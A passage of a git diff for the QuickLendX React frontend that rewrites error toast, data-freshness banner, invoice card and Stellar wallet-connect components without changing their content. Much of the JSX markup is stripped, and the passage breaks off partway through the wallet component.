+ onError(error, errorInfo); + } + }; + + return ( + ( + + )} + onError={handleError} + onReset={onReset} + resetKeys={resetKeys} + > + {children} + + ); +}; + +export default ErrorBoundary; diff --git a/quicklendx-frontend/app/components/ErrorToast.tsx b/quicklendx-frontend/app/components/ErrorToast.tsx index c95bb8c17..b70733cfe 100644 --- a/quicklendx-frontend/app/components/ErrorToast.tsx +++ b/quicklendx-frontend/app/components/ErrorToast.tsx @@ -1,448 +1,448 @@ -"use client"; - -import { randomUUID } from "crypto"; -import toast from "react-hot-toast"; -import { AppError, ErrorCategory, ErrorSeverity } from "../lib/errors"; - -interface ErrorToastProps { - error: AppError; - toastId?: string; - /** - * Callback invoked by the "Retry" action. The action is only rendered when - * this is supplied, the error is retryable and the retry budget is not - * exhausted. - */ - onRetry?: () => Promise | void; -} - -// --- Severity icons (inline SVG, no extra deps). currentColor lets the -// parent set the accent color; aria-hidden because the text label conveys -// meaning (never color/icon alone). --- -type IconProps = { className?: string }; - -const AlertOctagonIcon: React.FC = ({ className }) => ( - -); - -const AlertTriangleIcon: React.FC = ({ className }) => ( - -); - -const InfoIcon: React.FC = ({ className }) => ( - -); - -const CloseIcon: React.FC = ({ className }) => ( - -); - -// --- Severity → design-token visual mapping (docs/ux/design-tokens.md). --- -// A light neutral surface (#FFFFFF + neutral-200 border) with a severity-colored -// accent (left border + icon, using the danger/warning/info -500 tokens) keeps -// title/message text contrast well above WCAG AA, and never conveys state by -// color alone: every toast pairs the accent with an icon AND a text label. -type SeverityVisual = { - accent: string; // semantic -500 token: left border + icon color - Icon: React.FC; - role: "alert" | "status"; - ariaLive: "assertive" | "polite"; -}; - -const SEVERITY_VISUALS: Record = { - [ErrorSeverity.CRITICAL]: { - accent: "#EF4444", - Icon: AlertOctagonIcon, - role: "alert", - ariaLive: "assertive", - }, - [ErrorSeverity.HIGH]: { - accent: "#EF4444", - Icon: AlertTriangleIcon, - role: "alert", - ariaLive: "assertive", - }, - [ErrorSeverity.MEDIUM]: { - accent: "#F59E0B", - Icon: AlertTriangleIcon, - role: "status", - ariaLive: "polite", - }, - [ErrorSeverity.LOW]: { - accent: "#3B82F6", - Icon: InfoIcon, - role: "status", - ariaLive: "polite", - }, -}; - -const CATEGORY_LABELS: Record = { - [ErrorCategory.NETWORK]: "Network Error", - [ErrorCategory.VALIDATION]: "Validation Error", - [ErrorCategory.AUTHENTICATION]: "Authentication Error", - [ErrorCategory.AUTHORIZATION]: "Authorization Error", - [ErrorCategory.BUSINESS_LOGIC]: "Business Logic Error", - [ErrorCategory.SYSTEM]: "System Error", - [ErrorCategory.USER_INPUT]: "Input Error", - [ErrorCategory.EXTERNAL_SERVICE]: "Service Error", -}; - -export const ErrorToast: React.FC = ({ - error, - toastId, - onRetry, -}) => { - const visual = - SEVERITY_VISUALS[error.severity] ?? SEVERITY_VISUALS[ErrorSeverity.LOW]; - const label = CATEGORY_LABELS[error.category] ?? "Error"; - const { Icon } = visual; - - // A retry is only offered when there is something to retry with, the error - // is retryable, and the retry budget has not been exhausted. - const canRetry = Boolean(onRetry) && error.retryable && error.retryCount < 3; - - const handleRetry = async () => { - if (!onRetry) { - return; - } - - toast.dismiss(toastId); - - try { - await onRetry(); - } catch (retryError) { - const message = - retryError instanceof Error - ? retryError.message - : "The operation could not be completed."; - - // Surface the failed attempt as a fresh toast carrying the incremented - // retry count, so the budget keeps decreasing and the user can try again - // while retries remain. - ErrorToastManager.getInstance().showError( - new AppError( - message, - error.category, - error.severity, - error.code, - error.context, - error.retryable, - error.retryCount + 1 - ), - { onRetry } - ); - } - }; - - return ( -
- - - -
-

{label}

-

- {error.message} -

- {canRetry && ( - - )} -
- -
- ); -}; - -// Toast notification manager -export class ErrorToastManager { - private static instance: ErrorToastManager; - private activeToasts: Set = new Set(); - - static getInstance(): ErrorToastManager { - if (!ErrorToastManager.instance) { - ErrorToastManager.instance = new ErrorToastManager(); - } - return ErrorToastManager.instance; - } - - showError( - error: AppError, - options?: { - duration?: number; - dismissible?: boolean; - /** - * Enables the toast's "Retry" action. When omitted the toast is - * informational only and no retry affordance is rendered. - */ - onRetry?: () => Promise | void; - position?: - | "top-right" - | "top-center" - | "top-left" - | "bottom-right" - | "bottom-center" - | "bottom-left"; - } - ): string { - const toastId = `error-${randomUUID()}`; - - // Auto-dismiss timing per severity (docs/ux/toasts.md). Critical errors - // persist until manually dismissed so they cannot be missed. - const severityDuration: Record = { - [ErrorSeverity.LOW]: 4000, - [ErrorSeverity.MEDIUM]: 6000, - [ErrorSeverity.HIGH]: 8000, - [ErrorSeverity.CRITICAL]: Infinity, - }; - const defaultDuration = severityDuration[error.severity] ?? 5000; - const duration = options?.duration ?? defaultDuration; - const dismissible = options?.dismissible ?? true; - const position = options?.position ?? "top-right"; - - toast.custom( - (t) => ( - - ), - { - id: toastId, - duration: dismissible ? duration : Infinity, - position, - style: { - background: "transparent", - padding: 0, - margin: 0, - boxShadow: "none", - }, - } - ); - - this.activeToasts.add(toastId); - - // Auto-remove from tracking once the toast has been dismissed. Persistent - // (Infinity) toasts are cleaned up by dismissToast/dismissAll instead. - if (Number.isFinite(duration)) { - setTimeout(() => { - this.activeToasts.delete(toastId); - }, duration + 1000); - } - - return toastId; - } - - showSuccess( - message: string, - options?: { - duration?: number; - position?: - | "top-right" - | "top-center" - | "top-left" - | "bottom-right" - | "bottom-center" - | "bottom-left"; - } - ): string { - return toast.success(message, { - duration: options?.duration ?? 3000, - position: options?.position ?? "top-right", - style: { - background: "#10B981", - color: "#fff", - fontWeight: "500", - }, - }); - } - - showWarning( - message: string, - options?: { - duration?: number; - position?: - | "top-right" - | "top-center" - | "top-left" - | "bottom-right" - | "bottom-center" - | "bottom-left"; - } - ): string { - return toast(message, { - duration: options?.duration ?? 4000, - position: options?.position ?? "top-right", - icon: "⚠️", - style: { - background: "#F59E0B", - color: "#fff", - fontWeight: "500", - }, - }); - } - - showInfo( - message: string, - options?: { - duration?: number; - position?: - | "top-right" - | "top-center" - | "top-left" - | "bottom-right" - | "bottom-center" - | "bottom-left"; - } - ): string { - return toast(message, { - duration: options?.duration ?? 3000, - position: options?.position ?? "top-right", - icon: "ℹ️", - style: { - background: "#3B82F6", - color: "#fff", - fontWeight: "500", - }, - }); - } - - dismissAll(): void { - toast.dismiss(); - this.activeToasts.clear(); - } - - dismissToast(toastId: string): void { - toast.dismiss(toastId); - this.activeToasts.delete(toastId); - } - - getActiveToastsCount(): number { - return this.activeToasts.size; - } -} - -// Hook for using error toasts -export const useErrorToast = () => { - const toastManager = ErrorToastManager.getInstance(); - - return { - showError: ( - error: AppError, - options?: Parameters[1] - ) => toastManager.showError(error, options), - showSuccess: ( - message: string, - options?: Parameters[1] - ) => toastManager.showSuccess(message, options), - showWarning: ( - message: string, - options?: Parameters[1] - ) => toastManager.showWarning(message, options), - showInfo: ( - message: string, - options?: Parameters[1] - ) => toastManager.showInfo(message, options), - dismissAll: () => toastManager.dismissAll(), - dismissToast: (toastId: string) => toastManager.dismissToast(toastId), - }; -}; - -// Global error toast handler -export const handleErrorWithToast = ( - error: AppError, - context?: string -): void => { - const toastManager = ErrorToastManager.getInstance(); - - // Add context to error message if provided - const message = context ? `${context}: ${error.message}` : error.message; - const contextualError = new AppError( - message, - error.category, - error.severity, - error.code, - error.context, - error.retryable, - error.retryCount - ); - - toastManager.showError(contextualError); -}; +"use client"; + +import { randomUUID } from "crypto"; +import toast from "react-hot-toast"; +import { AppError, ErrorCategory, ErrorSeverity } from "../lib/errors"; + +interface ErrorToastProps { + error: AppError; + toastId?: string; + /** + * Callback invoked by the "Retry" action. The action is only rendered when + * this is supplied, the error is retryable and the retry budget is not + * exhausted. + */ + onRetry?: () => Promise | void; +} + +// --- Severity icons (inline SVG, no extra deps). currentColor lets the +// parent set the accent color; aria-hidden because the text label conveys +// meaning (never color/icon alone). --- +type IconProps = { className?: string }; + +const AlertOctagonIcon: React.FC = ({ className }) => ( + +); + +const AlertTriangleIcon: React.FC = ({ className }) => ( + +); + +const InfoIcon: React.FC = ({ className }) => ( + +); + +const CloseIcon: React.FC = ({ className }) => ( + +); + +// --- Severity → design-token visual mapping (docs/ux/design-tokens.md). --- +// A light neutral surface (#FFFFFF + neutral-200 border) with a severity-colored +// accent (left border + icon, using the danger/warning/info -500 tokens) keeps +// title/message text contrast well above WCAG AA, and never conveys state by +// color alone: every toast pairs the accent with an icon AND a text label. +type SeverityVisual = { + accent: string; // semantic -500 token: left border + icon color + Icon: React.FC; + role: "alert" | "status"; + ariaLive: "assertive" | "polite"; +}; + +const SEVERITY_VISUALS: Record = { + [ErrorSeverity.CRITICAL]: { + accent: "#EF4444", + Icon: AlertOctagonIcon, + role: "alert", + ariaLive: "assertive", + }, + [ErrorSeverity.HIGH]: { + accent: "#EF4444", + Icon: AlertTriangleIcon, + role: "alert", + ariaLive: "assertive", + }, + [ErrorSeverity.MEDIUM]: { + accent: "#F59E0B", + Icon: AlertTriangleIcon, + role: "status", + ariaLive: "polite", + }, + [ErrorSeverity.LOW]: { + accent: "#3B82F6", + Icon: InfoIcon, + role: "status", + ariaLive: "polite", + }, +}; + +const CATEGORY_LABELS: Record = { + [ErrorCategory.NETWORK]: "Network Error", + [ErrorCategory.VALIDATION]: "Validation Error", + [ErrorCategory.AUTHENTICATION]: "Authentication Error", + [ErrorCategory.AUTHORIZATION]: "Authorization Error", + [ErrorCategory.BUSINESS_LOGIC]: "Business Logic Error", + [ErrorCategory.SYSTEM]: "System Error", + [ErrorCategory.USER_INPUT]: "Input Error", + [ErrorCategory.EXTERNAL_SERVICE]: "Service Error", +}; + +export const ErrorToast: React.FC = ({ + error, + toastId, + onRetry, +}) => { + const visual = + SEVERITY_VISUALS[error.severity] ?? SEVERITY_VISUALS[ErrorSeverity.LOW]; + const label = CATEGORY_LABELS[error.category] ?? "Error"; + const { Icon } = visual; + + // A retry is only offered when there is something to retry with, the error + // is retryable, and the retry budget has not been exhausted. + const canRetry = Boolean(onRetry) && error.retryable && error.retryCount < 3; + + const handleRetry = async () => { + if (!onRetry) { + return; + } + + toast.dismiss(toastId); + + try { + await onRetry(); + } catch (retryError) { + const message = + retryError instanceof Error + ? retryError.message + : "The operation could not be completed."; + + // Surface the failed attempt as a fresh toast carrying the incremented + // retry count, so the budget keeps decreasing and the user can try again + // while retries remain. + ErrorToastManager.getInstance().showError( + new AppError( + message, + error.category, + error.severity, + error.code, + error.context, + error.retryable, + error.retryCount + 1 + ), + { onRetry } + ); + } + }; + + return ( +
+ + + +
+

{label}

+

+ {error.message} +

+ {canRetry && ( + + )} +
+ +
+ ); +}; + +// Toast notification manager +export class ErrorToastManager { + private static instance: ErrorToastManager; + private activeToasts: Set = new Set(); + + static getInstance(): ErrorToastManager { + if (!ErrorToastManager.instance) { + ErrorToastManager.instance = new ErrorToastManager(); + } + return ErrorToastManager.instance; + } + + showError( + error: AppError, + options?: { + duration?: number; + dismissible?: boolean; + /** + * Enables the toast's "Retry" action. When omitted the toast is + * informational only and no retry affordance is rendered. + */ + onRetry?: () => Promise | void; + position?: + | "top-right" + | "top-center" + | "top-left" + | "bottom-right" + | "bottom-center" + | "bottom-left"; + } + ): string { + const toastId = `error-${randomUUID()}`; + + // Auto-dismiss timing per severity (docs/ux/toasts.md). Critical errors + // persist until manually dismissed so they cannot be missed. + const severityDuration: Record = { + [ErrorSeverity.LOW]: 4000, + [ErrorSeverity.MEDIUM]: 6000, + [ErrorSeverity.HIGH]: 8000, + [ErrorSeverity.CRITICAL]: Infinity, + }; + const defaultDuration = severityDuration[error.severity] ?? 5000; + const duration = options?.duration ?? defaultDuration; + const dismissible = options?.dismissible ?? true; + const position = options?.position ?? "top-right"; + + toast.custom( + (t) => ( + + ), + { + id: toastId, + duration: dismissible ? duration : Infinity, + position, + style: { + background: "transparent", + padding: 0, + margin: 0, + boxShadow: "none", + }, + } + ); + + this.activeToasts.add(toastId); + + // Auto-remove from tracking once the toast has been dismissed. Persistent + // (Infinity) toasts are cleaned up by dismissToast/dismissAll instead. + if (Number.isFinite(duration)) { + setTimeout(() => { + this.activeToasts.delete(toastId); + }, duration + 1000); + } + + return toastId; + } + + showSuccess( + message: string, + options?: { + duration?: number; + position?: + | "top-right" + | "top-center" + | "top-left" + | "bottom-right" + | "bottom-center" + | "bottom-left"; + } + ): string { + return toast.success(message, { + duration: options?.duration ?? 3000, + position: options?.position ?? "top-right", + style: { + background: "#10B981", + color: "#fff", + fontWeight: "500", + }, + }); + } + + showWarning( + message: string, + options?: { + duration?: number; + position?: + | "top-right" + | "top-center" + | "top-left" + | "bottom-right" + | "bottom-center" + | "bottom-left"; + } + ): string { + return toast(message, { + duration: options?.duration ?? 4000, + position: options?.position ?? "top-right", + icon: "⚠️", + style: { + background: "#F59E0B", + color: "#fff", + fontWeight: "500", + }, + }); + } + + showInfo( + message: string, + options?: { + duration?: number; + position?: + | "top-right" + | "top-center" + | "top-left" + | "bottom-right" + | "bottom-center" + | "bottom-left"; + } + ): string { + return toast(message, { + duration: options?.duration ?? 3000, + position: options?.position ?? "top-right", + icon: "ℹ️", + style: { + background: "#3B82F6", + color: "#fff", + fontWeight: "500", + }, + }); + } + + dismissAll(): void { + toast.dismiss(); + this.activeToasts.clear(); + } + + dismissToast(toastId: string): void { + toast.dismiss(toastId); + this.activeToasts.delete(toastId); + } + + getActiveToastsCount(): number { + return this.activeToasts.size; + } +} + +// Hook for using error toasts +export const useErrorToast = () => { + const toastManager = ErrorToastManager.getInstance(); + + return { + showError: ( + error: AppError, + options?: Parameters[1] + ) => toastManager.showError(error, options), + showSuccess: ( + message: string, + options?: Parameters[1] + ) => toastManager.showSuccess(message, options), + showWarning: ( + message: string, + options?: Parameters[1] + ) => toastManager.showWarning(message, options), + showInfo: ( + message: string, + options?: Parameters[1] + ) => toastManager.showInfo(message, options), + dismissAll: () => toastManager.dismissAll(), + dismissToast: (toastId: string) => toastManager.dismissToast(toastId), + }; +}; + +// Global error toast handler +export const handleErrorWithToast = ( + error: AppError, + context?: string +): void => { + const toastManager = ErrorToastManager.getInstance(); + + // Add context to error message if provided + const message = context ? `${context}: ${error.message}` : error.message; + const contextualError = new AppError( + message, + error.category, + error.severity, + error.code, + error.context, + error.retryable, + error.retryCount + ); + + toastManager.showError(contextualError); +}; diff --git a/quicklendx-frontend/app/components/FreshnessBanner.tsx b/quicklendx-frontend/app/components/FreshnessBanner.tsx index 3fea4cfc4..c22ca709c 100644 --- a/quicklendx-frontend/app/components/FreshnessBanner.tsx +++ b/quicklendx-frontend/app/components/FreshnessBanner.tsx @@ -1,75 +1,75 @@ -import React from "react"; -import { FreshnessMetadata } from "../invest/_lib/view-model"; - -export interface FreshnessBannerProps { - freshness?: FreshnessMetadata | null; -} - -/** - * Returns false when indexLagSeconds > 120, blocking irreversible financial actions. - */ -export function isFreshEnoughForAction( - freshness?: FreshnessMetadata | null -): boolean { - if (!freshness) return true; - return freshness.indexLagSeconds <= 120; -} - -export function FreshnessBanner({ freshness }: FreshnessBannerProps) { - if (!freshness) { - return null; - } - - const { indexLagSeconds, lastUpdatedAt } = freshness; - - // Format UTC time HH:MM - let formattedTime = "00:00"; - try { - const d = new Date(lastUpdatedAt); - if (!isNaN(d.getTime())) { - const hours = String(d.getUTCHours()).padStart(2, "0"); - const minutes = String(d.getUTCMinutes()).padStart(2, "0"); - formattedTime = `${hours}:${minutes}`; - } - } catch { - formattedTime = "00:00"; - } - - if (indexLagSeconds > 120) { - return ( -
- - Data is significantly delayed. Bidding is paused until it catches up. - - - Lag: {Math.round(indexLagSeconds)}s - -
- ); - } - - if (indexLagSeconds > 30) { - return ( -
- - Data may be up to {Math.round(indexLagSeconds)} s behind the network - - - Data as of {formattedTime} UTC - -
- ); - } - - return ( -
- Data as of {formattedTime} UTC -
- ); -} +import React from "react"; +import { FreshnessMetadata } from "../invest/_lib/view-model"; + +export interface FreshnessBannerProps { + freshness?: FreshnessMetadata | null; +} + +/** + * Returns false when indexLagSeconds > 120, blocking irreversible financial actions. + */ +export function isFreshEnoughForAction( + freshness?: FreshnessMetadata | null +): boolean { + if (!freshness) return true; + return freshness.indexLagSeconds <= 120; +} + +export function FreshnessBanner({ freshness }: FreshnessBannerProps) { + if (!freshness) { + return null; + } + + const { indexLagSeconds, lastUpdatedAt } = freshness; + + // Format UTC time HH:MM + let formattedTime = "00:00"; + try { + const d = new Date(lastUpdatedAt); + if (!isNaN(d.getTime())) { + const hours = String(d.getUTCHours()).padStart(2, "0"); + const minutes = String(d.getUTCMinutes()).padStart(2, "0"); + formattedTime = `${hours}:${minutes}`; + } + } catch { + formattedTime = "00:00"; + } + + if (indexLagSeconds > 120) { + return ( +
+ + Data is significantly delayed. Bidding is paused until it catches up. + + + Lag: {Math.round(indexLagSeconds)}s + +
+ ); + } + + if (indexLagSeconds > 30) { + return ( +
+ + Data may be up to {Math.round(indexLagSeconds)} s behind the network + + + Data as of {formattedTime} UTC + +
+ ); + } + + return ( +
+ Data as of {formattedTime} UTC +
+ ); +} diff --git a/quicklendx-frontend/app/components/InvoiceCard.tsx b/quicklendx-frontend/app/components/InvoiceCard.tsx index 6b3444674..9c2c9fd7f 100644 --- a/quicklendx-frontend/app/components/InvoiceCard.tsx +++ b/quicklendx-frontend/app/components/InvoiceCard.tsx @@ -1,112 +1,112 @@ -import React from "react"; -import Link from "next/link"; -import { PublicInvoice } from "../invest/_lib/view-model"; - -export interface InvoiceCardProps { - invoice: PublicInvoice; - bestBidSlot?: React.ReactNode; -} - -export function InvoiceCard({ invoice, bestBidSlot }: InvoiceCardProps) { - // Format due date - const dueDateStr = invoice.due_date - ? new Date(invoice.due_date * 1000).toLocaleDateString(undefined, { - year: "numeric", - month: "short", - day: "numeric", - }) - : "N/A"; - - // Format amount with commas if number - const formattedAmount = (() => { - try { - const bi = BigInt(invoice.amount); - return bi.toLocaleString(); - } catch { - return invoice.amount; - } - })(); - - return ( -
-
-
- - {invoice.id} - - - - {invoice.status} - -
- -
-
- {formattedAmount}{" "} - - {invoice.currency} - -
-
- - Due {dueDateStr} -
-
- - {invoice.description && ( -

- {invoice.description} -

- )} - - {invoice.category && ( -
- - {invoice.category} - -
- )} -
- -
- {bestBidSlot &&
{bestBidSlot}
} - - View Details - -
-
- ); -} +import React from "react"; +import Link from "next/link"; +import { PublicInvoice } from "../invest/_lib/view-model"; + +export interface InvoiceCardProps { + invoice: PublicInvoice; + bestBidSlot?: React.ReactNode; +} + +export function InvoiceCard({ invoice, bestBidSlot }: InvoiceCardProps) { + // Format due date + const dueDateStr = invoice.due_date + ? new Date(invoice.due_date * 1000).toLocaleDateString(undefined, { + year: "numeric", + month: "short", + day: "numeric", + }) + : "N/A"; + + // Format amount with commas if number + const formattedAmount = (() => { + try { + const bi = BigInt(invoice.amount); + return bi.toLocaleString(); + } catch { + return invoice.amount; + } + })(); + + return ( +
+
+
+ + {invoice.id} + + + + {invoice.status} + +
+ +
+
+ {formattedAmount}{" "} + + {invoice.currency} + +
+
+ + Due {dueDateStr} +
+
+ + {invoice.description && ( +

+ {invoice.description} +

+ )} + + {invoice.category && ( +
+ + {invoice.category} + +
+ )} +
+ +
+ {bestBidSlot &&
{bestBidSlot}
} + + View Details + +
+
+ ); +} diff --git a/quicklendx-frontend/app/components/WalletConnect.tsx b/quicklendx-frontend/app/components/WalletConnect.tsx index f4c0c1307..ed536c081 100644 --- a/quicklendx-frontend/app/components/WalletConnect.tsx +++ b/quicklendx-frontend/app/components/WalletConnect.tsx @@ -1,545 +1,545 @@ -"use client"; - -/** - * WalletConnect — view component over useWallet(). - * - * Reads wallet state from the context provided by WalletProvider and delegates - * actions to it while dispatching privacy-preserving lifecycle telemetry events. - * Spec: docs/ux/wallet-connect.md - */ - -import React, { useCallback, useEffect, useRef, useState } from "react"; -import { useWallet } from "../lib/wallet/WalletProvider"; -import { - trackWalletConnectAttempt, - trackWalletConnected, - trackWalletConnectFailed, - trackWalletDisconnected, -} from "../lib/wallet-telemetry"; - -// --------------------------------------------------------------------------- -// Types -// --------------------------------------------------------------------------- - -export type WalletConnectionState = - | "NOT_CONNECTED" - | "CONNECTING" - | "CONNECTED" - | "WRONG_NETWORK" - | "ERROR" - | "DISCONNECTING"; - -export interface WalletConnectProps { - /** Expected network: "public" (Mainnet) or "testnet". */ - expectedNetwork?: "public" | "testnet"; - /** Called when the user successfully connects. Receives the public key. */ - onConnect?: (publicKey: string) => void; - /** Called when the user disconnects. */ - onDisconnect?: () => void; -} - -// --------------------------------------------------------------------------- -// Helpers -// --------------------------------------------------------------------------- - -/** - * Truncates a Stellar address to "XXXXXX…XXXX" format. - * Spec: docs/ux/wallet-connect.md §4.1 - */ -export function truncateAddress(address: string): string { - if (address.length <= 13) return address; - return `${address.slice(0, 6)}\u2026${address.slice(-4)}`; -} - -function explorerUrl(address: string, network: "public" | "testnet"): string { - return `https://stellar.expert/explorer/${network}/account/${address}`; -} - -export const CopyButton: React.FC<{ value: string }> = ({ value }) => { - const [copied, setCopied] = useState(false); - const [errorMessage, setErrorMessage] = useState(null); - const liveRef = useRef(null); - const timeoutRef = useRef | null>(null); - - useEffect(() => { - return () => { - if (timeoutRef.current !== null) { - clearTimeout(timeoutRef.current); - } - }; - }, []); - - const handleCopy = useCallback(async () => { - try { - if (!navigator.clipboard?.writeText) { - throw new Error("Clipboard API not available"); - } - await navigator.clipboard.writeText(value); - setCopied(true); - if (liveRef.current) { - liveRef.current.textContent = "Address copied."; - } - if (timeoutRef.current !== null) { - clearTimeout(timeoutRef.current); - } - timeoutRef.current = setTimeout(() => { - setCopied(false); - if (liveRef.current) { - liveRef.current.textContent = ""; - } - timeoutRef.current = null; - }, 2000); - } catch { - const message = "Couldn't copy, select the address manually"; - setErrorMessage(message); - if (liveRef.current) { - liveRef.current.textContent = message; - } - if (timeoutRef.current !== null) { - clearTimeout(timeoutRef.current); - } - timeoutRef.current = setTimeout(() => { - setErrorMessage(null); - if (liveRef.current) { - liveRef.current.textContent = ""; - } - timeoutRef.current = null; - }, 3000); - } - }, [value]); - - return ( - - - - {errorMessage && ( -
- {errorMessage} -
- )} -
- ); -}; - -const AddressPill: React.FC<{ - address: string; - network: "public" | "testnet"; - onClick: () => void; -}> = ({ address, network, onClick }) => ( - -); - -export const WalletConnect: React.FC = ({ - expectedNetwork = "testnet", - onConnect, - onDisconnect, -}) => { - const { state, address, connect, disconnect } = useWallet(); - const [connectionError, setConnectionError] = useState(null); - const [modalOpen, setModalOpen] = useState(false); - const [accountMenuOpen, setAccountMenuOpen] = useState(false); - const modalRef = React.useRef(null); - const firstFocusRef = React.useRef(null); - - // Focus trap & Escape key for the connect modal - React.useEffect(() => { - if (!modalOpen) return; - firstFocusRef.current?.focus(); - - const handleKeyDown = (e: KeyboardEvent) => { - if (e.key === "Escape") { - if (state !== "CONNECTING") setModalOpen(false); - } - if (e.key === "Tab" && modalRef.current) { - const focusable = modalRef.current.querySelectorAll( - 'button, [href], input, select, textarea, [tabindex]:not([tabindex="-1"])' - ); - const first = focusable[0]; - const last = focusable[focusable.length - 1]; - if ( - e.shiftKey - ? document.activeElement === first - : document.activeElement === last - ) { - e.preventDefault(); - (e.shiftKey ? last : first).focus(); - } - } - }; - document.addEventListener("keydown", handleKeyDown); - return () => document.removeEventListener("keydown", handleKeyDown); - }, [modalOpen, state]); - - // Notify parent and track telemetry when connection succeeds - React.useEffect(() => { - if (state === "CONNECTED" && address) { - trackWalletConnected({ - address, - walletType: "freighter", - network: expectedNetwork, - }); - onConnect?.(address); - setModalOpen(false); - } - }, [state, address, expectedNetwork, onConnect]); - - // Notify parent when disconnected - React.useEffect(() => { - if (state === "NOT_CONNECTED") { - onDisconnect?.(); - } - }, [state, onDisconnect]); - - const handleConnect = useCallback(async () => { - trackWalletConnectAttempt({ - walletType: "freighter", - network: expectedNetwork, - }); - setConnectionError(null); - try { - await connect?.(address || ""); - } catch (err: unknown) { - const msg = err instanceof Error ? err.message : String(err); - setConnectionError(msg); - trackWalletConnectFailed({ - error: msg, - walletType: "freighter", - network: expectedNetwork, - }); - } - }, [connect, address, expectedNetwork]); - - const handleDisconnect = useCallback(async () => { - setAccountMenuOpen(false); - trackWalletDisconnected({ address, network: expectedNetwork }); - await disconnect?.(); - }, [address, disconnect, expectedNetwork]); - - const isConnecting = state === "CONNECTING"; - const isDisconnecting = state === "DISCONNECTING"; - - // Map error code to user-facing copy (spec: docs/ux/wallet-connect.md §3.2–§3.6) - const errorMessage = (() => { - if (state !== "ERROR") return ""; - switch (connectionError) { - case "not_installed": - return "Freighter is not installed."; - case "rejected": - return "Connection was declined. You can try again at any time."; - case "timeout": - return "The request timed out. Please try again."; - default: - return "Something went wrong. Please try again."; - } - })(); - - const renderModalBody = () => { - if (state === "ERROR") { - return ( -
-

- - {connectionError === "not_installed" ? ( - <> - Freighter is not installed.{" "} - - Get Freighter - - - ) : ( - errorMessage - )} -

- {connectionError !== "not_installed" && ( - - )} -
- ); - } - - return ( - <> -

- Connect your Stellar wallet to bid, fund, and settle invoices. -

-
- - - Your keys never leave your device.{" "} - - QuickLendX cannot access your funds. - - -
- - ); - }; - - return ( - <> - {/* Trigger / nav element */} - {state === "CONNECTED" && address ? ( -
- setAccountMenuOpen((v) => !v)} - /> - {accountMenuOpen && ( -
- -
- )} -
- ) : state === "WRONG_NETWORK" ? ( -
- - Wrong network —{" "} - -
- ) : ( - - )} - - {/* Connect Modal */} - {modalOpen && ( -
-
!isConnecting && setModalOpen(false)} - aria-hidden="true" - /> -
-
-

- Connect Wallet -

- -
-
{renderModalBody()}
-
- - -
-
-
- )} - - {/* Wrong-network inline banner */} - {state === "WRONG_NETWORK" && !modalOpen && ( -
- - - Wrong network detected. Switch to{" "} - - {expectedNetwork === "public" ? "Mainnet" : "Testnet"} - {" "} - in Freighter to continue. - - -
- )} - - ); -}; +"use client"; + +/** + * WalletConnect — view component over useWallet(). + * + * Reads wallet state from the context provided by WalletProvider and delegates + * actions to it while dispatching privacy-preserving lifecycle telemetry events. + * Spec: docs/ux/wallet-connect.md + */ + +import React, { useCallback, useEffect, useRef, useState } from "react"; +import { useWallet } from "../lib/wallet/WalletProvider"; +import { + trackWalletConnectAttempt, + trackWalletConnected, + trackWalletConnectFailed, + trackWalletDisconnected, +} from "../lib/wallet-telemetry"; + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +export type WalletConnectionState = + | "NOT_CONNECTED" + | "CONNECTING" + | "CONNECTED" + | "WRONG_NETWORK" + | "ERROR" + | "DISCONNECTING"; + +export interface WalletConnectProps { + /** Expected network: "public" (Mainnet) or "testnet". */ + expectedNetwork?: "public" | "testnet"; + /** Called when the user successfully connects. Receives the public key. */ + onConnect?: (publicKey: string) => void; + /** Called when the user disconnects. */ + onDisconnect?: () => void; +} + +// --------------------------------------------------------------------------- +// Helpers +// --------------------------------------------------------------------------- + +/** + * Truncates a Stellar address to "XXXXXX…XXXX" format. + * Spec: docs/ux/wallet-connect.md §4.1 + */ +export function truncateAddress(address: string): string { + if (address.length <= 13) return address; + return `${address.slice(0, 6)}\u2026${address.slice(-4)}`; +} + +function explorerUrl(address: string, network: "public" | "testnet"): string { + return `https://stellar.expert/explorer/${network}/account/${address}`; +} + +export const CopyButton: React.FC<{ value: string }> = ({ value }) => { + const [copied, setCopied] = useState(false); + const [errorMessage, setErrorMessage] = useState(null); + const liveRef = useRef(null); + const timeoutRef = useRef | null>(null); + + useEffect(() => { + return () => { + if (timeoutRef.current !== null) { + clearTimeout(timeoutRef.current); + } + }; + }, []); + + const handleCopy = useCallback(async () => { + try { + if (!navigator.clipboard?.writeText) { + throw new Error("Clipboard API not available"); + } + await navigator.clipboard.writeText(value); + setCopied(true); + if (liveRef.current) { + liveRef.current.textContent = "Address copied."; + } + if (timeoutRef.current !== null) { + clearTimeout(timeoutRef.current); + } + timeoutRef.current = setTimeout(() => { + setCopied(false); + if (liveRef.current) { + liveRef.current.textContent = ""; + } + timeoutRef.current = null; + }, 2000); + } catch { + const message = "Couldn't copy, select the address manually"; + setErrorMessage(message); + if (liveRef.current) { + liveRef.current.textContent = message; + } + if (timeoutRef.current !== null) { + clearTimeout(timeoutRef.current); + } + timeoutRef.current = setTimeout(() => { + setErrorMessage(null); + if (liveRef.current) { + liveRef.current.textContent = ""; + } + timeoutRef.current = null; + }, 3000); + } + }, [value]); + + return ( + + + + {errorMessage && ( +
+ {errorMessage} +
+ )} +
+ ); +}; + +const AddressPill: React.FC<{ + address: string; + network: "public" | "testnet"; + onClick: () => void; +}> = ({ address, network, onClick }) => ( + +); + +export const WalletConnect: React.FC = ({ + expectedNetwork = "testnet", + onConnect, + onDisconnect, +}) => { + const { state, address, connect, disconnect } = useWallet(); + const [connectionError, setConnectionError] = useState(null); + const [modalOpen, setModalOpen] = useState(false); + const [accountMenuOpen, setAccountMenuOpen] = useState(false); + const modalRef = React.useRef(null); + const firstFocusRef = React.useRef(null); + + // Focus trap & Escape key for the connect modal + React.useEffect(() => { + if (!modalOpen) return; + firstFocusRef.current?.focus(); + + const handleKeyDown = (e: KeyboardEvent) => { + if (e.key === "Escape") { + if (state !== "CONNECTING") setModalOpen(false); + } + if (e.key === "Tab" && modalRef.current) { + const focusable = modalRef.current.querySelectorAll( + 'button, [href], input, select, textarea, [tabindex]:not([tabindex="-1"])' + ); + const first = focusable[0]; + const last = focusable[focusable.length - 1]; + if ( + e.shiftKey + ? document.activeElement === first + : document.activeElement === last + ) { + e.preventDefault(); + (e.shiftKey ? last : first).focus(); + } + } + }; + document.addEventListener("keydown", handleKeyDown); + return () => document.removeEventListener("keydown", handleKeyDown); + }, [modalOpen, state]); + + // Notify parent and track telemetry when connection succeeds + React.useEffect(() => { + if (state === "CONNECTED" && address) { + trackWalletConnected({ + address, + 